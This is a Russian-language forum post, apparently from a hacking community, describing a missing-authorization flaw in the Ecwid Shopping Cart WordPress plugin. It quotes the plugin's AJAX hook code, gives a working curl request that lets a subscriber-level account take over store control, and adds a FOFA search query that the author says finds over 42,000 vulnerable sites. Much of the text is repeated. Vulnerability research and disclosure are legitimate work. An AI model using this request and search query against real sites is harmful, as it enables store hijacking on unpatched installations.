Приветствую, решил внести свой вклад в развитие форума, моя первая статья не судите строго.( все аргументированную критику готов принять в коментах) .
За 2 месяца изучения WP plagin я начал не много разбираться и читать код и понимать куда смотреть и как вообще все работает что бы искать уязвимости в плагинах! ладно это все предисловия опустим их и пойдем к самой уязвимости !
В работу был взят плагин https://wordpress.org/plugins/ecwid-shopping-cart/ первое что я смотрю на странице плагина прежде чем скачать его и начать изучать это на описание плагина что именно он делает, просто есть плагины у которых функционал элементарный и там просто не возможно допустить ошибку в написание кода, а вот большие плагины с большим функционалом которые скорей всего пишутся не одним человеком( а скорей всего индусами + ИИ) это то что нам нужно, там ошибок будет просто уйма и при чем очевидных. Вот в этом плагине как раз такое было и найдено , откроем архив и первым делом посмотрим что делают AJAX хуки файл ecwid-shopping-cart.php
is_admin() в WordPress возвращает true для любой загрузки из административной части, в том числе для wp-admin/admin-ajax.php. Это не проверка ролей/прав, а просто индикатор «мы сейчас в backend‑части WordPress».Значит, когда любой залогиненный пользователь (даже subscriber) обращается к admin-ajax.php, во время инициализации плагина условие is_admin() срабатывает, и код внутри выполняется.
Внутри этого блока регистрируются «админские» ajax‑хуки, в том числе:
Префикс wp_ajax_ означает, что к действию допускаются все авторизованные пользователи. WordPress автоматически проверяет только факт логина, а дополнительные права разработчик должен добавить сам (через current_user_can или проверку nonce). В этой функции таких проверок нет, поэтому любой вошедший пользователь может вызвать действие.
Теперь нам осталось установить плагин локально что бы проверить и подтвердить что любой авторизованный пользователь может перепривязать управление плагином на себя и управлять именно через плагин магазином. Регаем в админке пользователя с правами подписчик получаем его куки сохраняем и отправляем запрос
и получаем положительный ответ и подтверждение уязвимости , теперь идем в админку и смотри на профиль плагина
А все из за того что данная функция не делает ни current_user_can(), ни check_ajax_referer(), поэтому подписчик сразу попадает внутрь.
Фофа дорка body="/wp-content/plugins/ecwid-shopping-cart/js/frontend.js" показывает 42,152+ уязвимых сайтов.
Кому интересно может скачать плагин и самим всем проверить, но есть маленький нюанс что бы активировать весь функционал плагина надо оплатить 5 евро)
За 2 месяца изучения WP plagin я начал не много разбираться и читать код и понимать куда смотреть и как вообще все работает что бы искать уязвимости в плагинах! ладно это все предисловия опустим их и пойдем к самой уязвимости !
В работу был взят плагин https://wordpress.org/plugins/ecwid-shopping-cart/ первое что я смотрю на странице плагина прежде чем скачать его и начать изучать это на описание плагина что именно он делает, просто есть плагины у которых функционал элементарный и там просто не возможно допустить ошибку в написание кода, а вот большие плагины с большим функционалом которые скорей всего пишутся не одним человеком( а скорей всего индусами + ИИ) это то что нам нужно, там ошибок будет просто уйма и при чем очевидных. Вот в этом плагине как раз такое было и найдено , откроем архив и первым делом посмотрим что делают AJAX хуки файл ecwid-shopping-cart.php
PHP:
if ( is_admin() ) {
add_action( 'init', 'ecwid_apply_theme', 0 );
add_action( 'init', 'ecwid_maybe_remove_emoji' );
add_action( 'admin_init', 'ecwid_settings_api_init' );
add_action( 'admin_init', 'ecwid_check_version' );
add_action( 'wp_ajax_ec_check_api_cache', 'ecwid_admin_check_api_cache' );
add_action( 'admin_enqueue_scripts', 'ecwid_common_admin_scripts' );
add_action( 'admin_enqueue_scripts', 'ecwid_register_admin_styles' );
add_action( 'admin_enqueue_scripts', 'ecwid_register_settings_styles' );
add_action( 'admin_enqueue_scripts', 'ecwid_enqueue_cache_control' );
add_action( 'wp_ajax_ecwid_hide_vote_message', 'ecwid_hide_vote_message' );
add_action( 'wp_ajax_ecwid_hide_message', 'ecwid_ajax_hide_message' );
add_action( 'wp_ajax_ecwid_reset_categories_cache', 'ecwid_reset_categories_cache' );
add_action( 'wp_ajax_ecwid_create_store', 'ecwid_ajax_create_store' );
add_action( 'wp_ajax_ecwid_sync_products', 'ecwid_sync_products' );
add_action( 'admin_post_ecwid_sync_products', 'ecwid_sync_products' );
add_action( 'admin_post_ec_connect', 'ecwid_admin_post_connect' );
add_action( 'admin_post_ecwid_get_debug', 'ecwid_get_debug_file' );
add_action( 'admin_head', 'ecwid_ie8_fonts_inclusion' );
add_action( 'get_footer', 'ecwid_admin_get_footer' );
add_action( 'admin_init', 'ecwid_process_oauth_params' );
add_action( 'admin_notices', 'ecwid_show_admin_messages' );
add_filter( 'plugin_action_links_' . ECWID_PLUGIN_BASENAME, 'ecwid_plugin_actions' );
add_filter( 'tiny_mce_before_init', 'ecwid_tinymce_init' );
} else {
is_admin() в WordPress возвращает true для любой загрузки из административной части, в том числе для wp-admin/admin-ajax.php. Это не проверка ролей/прав, а просто индикатор «мы сейчас в backend‑части WordPress».Значит, когда любой залогиненный пользователь (даже subscriber) обращается к admin-ajax.php, во время инициализации плагина условие is_admin() срабатывает, и код внутри выполняется.
Внутри этого блока регистрируются «админские» ajax‑хуки, в том числе:
PHP:
add_action( 'wp_ajax_ecwid_create_store', 'ecwid_ajax_create_store' );
add_action( 'wp_ajax_ecwid_sync_products', 'ecwid_sync_products' );
Префикс wp_ajax_ означает, что к действию допускаются все авторизованные пользователи. WordPress автоматически проверяет только факт логина, а дополнительные права разработчик должен добавить сам (через current_user_can или проверку nonce). В этой функции таких проверок нет, поэтому любой вошедший пользователь может вызвать действие.
Теперь нам осталось установить плагин локально что бы проверить и подтвердить что любой авторизованный пользователь может перепривязать управление плагином на себя и управлять именно через плагин магазином. Регаем в админке пользователя с правами подписчик получаем его куки сохраняем и отправляем запрос
Код:
curl -i -b cookie1.txt -X POST "http://localhost/mywp/wp-admin/admin-ajax.p
hp?action=ecwid_create_store"
HTTP/1.1 200 OK
Date: Mon, 10 Nov 2025 13:45:37 GMT
Server: Apache/2.4.65 (Debian)
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Фофа дорка body="/wp-content/plugins/ecwid-shopping-cart/js/frontend.js" показывает 42,152+ уязвимых сайтов.
Кому интересно может скачать плагин и самим всем проверить, но есть маленький нюанс что бы активировать весь функционал плагина надо оплатить 5 евро)